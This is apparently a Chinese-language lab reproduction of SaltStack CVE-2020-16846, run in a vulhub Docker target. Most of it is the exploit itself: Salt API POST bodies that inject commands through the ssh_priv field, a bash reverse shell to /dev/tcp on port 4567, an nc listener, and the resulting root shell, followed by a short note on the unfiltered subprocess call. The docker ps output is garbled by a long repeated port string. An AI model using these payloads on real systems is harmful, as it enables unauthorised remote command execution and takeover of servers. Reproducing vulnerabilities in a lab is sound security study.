# CVE-2020-16846

## 漏洞描述

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。2020年11月SaltStack官方披露了CVE-2020-16846,CVE-2020-16846允许用户执行任意命令。组合这两个漏洞,将可以使未授权的攻击者通过Salt API执行任意命令 影响范围

SaltStack < 3002.1 SaltStack < 3001.3 SaltStack < 3000.5 SaltStack < 2019.2.7

# 漏洞复现

1、在vulhub上启动docker

```
docker-compose up -d
```

root@daoer:/home/daoer/vulhub/vulhub/saltstack/CVE-2020-16846# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS
NAMES
98276282716a vulhub/saltstack:3002 "/usr/bin/dumb-init ..." 13 hours ago Up 13 hours 0.00.0:4505-4506->4506->4506-4505-4506->4506->54506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506->4506-

2、访问docker靶机 https://ip:8000



3、使用BP抓吧访问地址 https://ip:8000/run

```
Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User opti
Dashboard Target Proxy Intruder I
Intercept HTTP history WebSockets history
                                 Option

    △ A https://192.168.41.133:8000 请求

              丢弃
                                     行动
                                                                                                                                                                      (?)
Pretty Eth \n Actions ∨
1 GET /run HTTP/1.1
2 Host: 192.168.41.133:8000
3 Sec-Ch-Ua: "Not A;Brand";v="99", "Chromium";v="90"
 4 Sec-Ch-Ua-Mobile: ?0
5 Upgrade-Insecure-Requests: 1
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212
  Safari/537.36
7 Accept:
  text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/apng, */*; q=0.8, application/signed-exchange;
  v=b3;q=0.9
8 Sec-Fetch-Site: none
9\, {\sf Sec	ext{-}Fetch	ext{-}Mode:} navigate
10 Sec-Fetch-User: ?1
11 Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh;q=0.9
14 Connection: close
```

### 4、更改请求为POST并且插入请求体,如下

 $to ken = 12312 \& client = ssh\&tgt = *\&fun = a\&roster = whip1ash\&ssh\_priv = aaa|touch\%20/tmp/success\%3b$ 

```
1 POST /run HTTP/1.1
2 Host: 192.168.41.133:8000
                                                                                                                    1 HTTP/1.1 200 OK
                                                                                                                     Content-Type: application/ison
3 Sec-Ch-Ua: "Not A;Brand";v="99", "Chromium";v="90"
                                                                                                                     Server: CherryPy/18.6.0
                                                                                                                   4 Date: Wed, 14 Dec 2022 06:12:04 GMT 5 Allow: GET, HEAD, POST
4 Sec-Ch-Ua-Mobile: ?0
 Upgrade-Insecure-Requests: 1
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
                                                                                                                   6 Access-Control-Allow-Origin: *
7 Access-Control-Expose-Headers: GET, POST
 Chrome/90. 0. 4430. 212 Safari/537. 36
                                                                                                                     Access-Control-Allow-Credentials: true
 \label{text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
                                                                                                                   9 Vary: Accept-Encoding
                                                                                                                   10 Content-Length: 16
8 Sec-Fetch-Site: none
                                                                                                                   11 Connection: close
9 Sec-Fetch-Mode: navigate
0 Sec-Fetch-User: ?1
                                                                                                                       "return":[
1 Sec-Fetch-Dest: document
2 Accept-Encoding: gzip, deflate
3 Accept-Language: zh-CN, zh;q=0.9
4 Connection: close
5 Content-Type: application/x-www-form-urlencoded
6 Content-Length: 91
token=12312&client=ssh&tgt=*&fun=a&roster=whiplash&ssh_priv=aaa|touch%20/tmp/success%3b
```

## 5、写一个sh文件里面是反弹shell的命令

echo 'bash -i >%26 /dev/tcp/192.168.41.134/4567 0>%261' >/tmp/wanli.sh%3b

```
Pretty With \n Actions V
   ## Note | Note |
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 1 HTTP/1. 1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               3 Server: CherryPy/18.6.0
4 Date: Wed, 14 Dec 2022 06:14:42 GMT
   5 Upgrade-Insecure-Requests: 1 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                5 Allow: GET, HEAD, POST
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               6 Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               7 Access-Control-Expose-Headers: GET, POST 8 Access-Control-Allow-Credentials: true
           Chrome/90.0.4430.212 Safari/537.36
     7 Accept:
           text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/apng, */*; q=0.9, image/avif, image/apng, image/apng, image/apng, image/avif, image/avif, image/apng, image/apng, image/avif, image/avif, image/apng, image/avif, image/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               9 Vary: Accept-Encoding
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            10 Content-Length: 16
           0.8, application/signed-exchange; v=b3; q=0.9
   8 Sec-Fetch-Site: none
9 Sec-Fetch-Mode: navigate
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            11 Connection: close
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         12
13 {
"return":[
 10 Sec-Fetch-User: ?1
 11 Sec-Fetch-Dest: document
  12 Accept-Encoding: gzip, deflate
 13 Accept-Language: zh-CN, zh;q=0.9
  14 Connection: close
 15 \hspace{0.1cm} \textbf{Content-Type: application/x-www-form-urlencoded}
 16 Content-Length: 137
18 token=12312&client=ssh&tgt=*&fun=a&roster=whiplash&ssh_priv=aaa echo 'bash -i >%26
           /dev/tcp/192.168.41.134/4567 0>%261' >/tmp/wanli.sh%3b
```

#### 7、使用NC接收反弹shell的命令

```
nc -1vvp 4567
```

```
PS> nc -lvvp 4567
listening on [any] 4567 ...
```

## 8、执行sh文件,即可得到反弹shell

bash%20/tmp/wanli.sh%3b

```
retty 原始 \n Actions 	
1 POST /run HTTP/1.1
2 Host: 192.168.41.133:8000
3 Sec-Ch-Ua: "Not A; Brand"; v="99", "Chromium"; v="90"
4 Sec-Ch-Ua-Mobile: ?0
5 Upgrade-Insecure-Requests: 1
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
 Chrome/90.0.4430.212 Safari/537.36
7 Accept:
 text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/appg, */*; q=
 0.8, application/signed-exchange; v=b3; q=0.9
8 Sec-Fetch-Site: none
9 Sec-Fetch-Mode: navigate
0 Sec-Fetch-User: ?1
1 Sec-Fetch-Dest: document
2 Accept-Encoding: gzip, deflate
3 Accept-Language: zh-CN, zh;q=0.9
4 Connection: close
5 Content-Type: application/x-www-form-urlencoded
6 Content-Length: 87
8 token=12312&client=ssh&tgt=*&fun=a&roster=whiplash&ssh_priv=aaa bash%20/tmp/wanli.sh%3b
```

#### 9、NC接收的反弹shell

```
listening on [any] 4567 ...

192.168.41.133: inverse host lookup failed: Host name lookup failure connect to [192.168.41.134] from (UNKNOWN) [192.168.41.133] 39380 bash: cannot set terminal process group (7): Inappropriate ioctl for device bash: no job control in this shell root@98276282716a:/# whoami whoami root root@98276282716a:/#
```

# 漏洞分析

该漏洞的成因是因为 [salt/client/ssh/shell.py 文件没有对用户参数进行严格的过滤,导致可以执行命令

```
def gen_key(path):
    """
    Generate a key for use with salt-ssh
    """
    cmd = 'ssh-keygen -P "" -f {0} -t rsa -q'.format(path)
    if not os.path.isdir(os.path.dirname(path)):
        os.makedirs(os.path.dirname(path))
    subprocess.call(cmd, shell=True)
```

cmd中的内容是由一段固定值+format中的path拼接而成,没有任何的过滤subprocess.call(cmd, shell=True)是下执行系统命令的函数如果path的内容可以控制就可以造成命令执行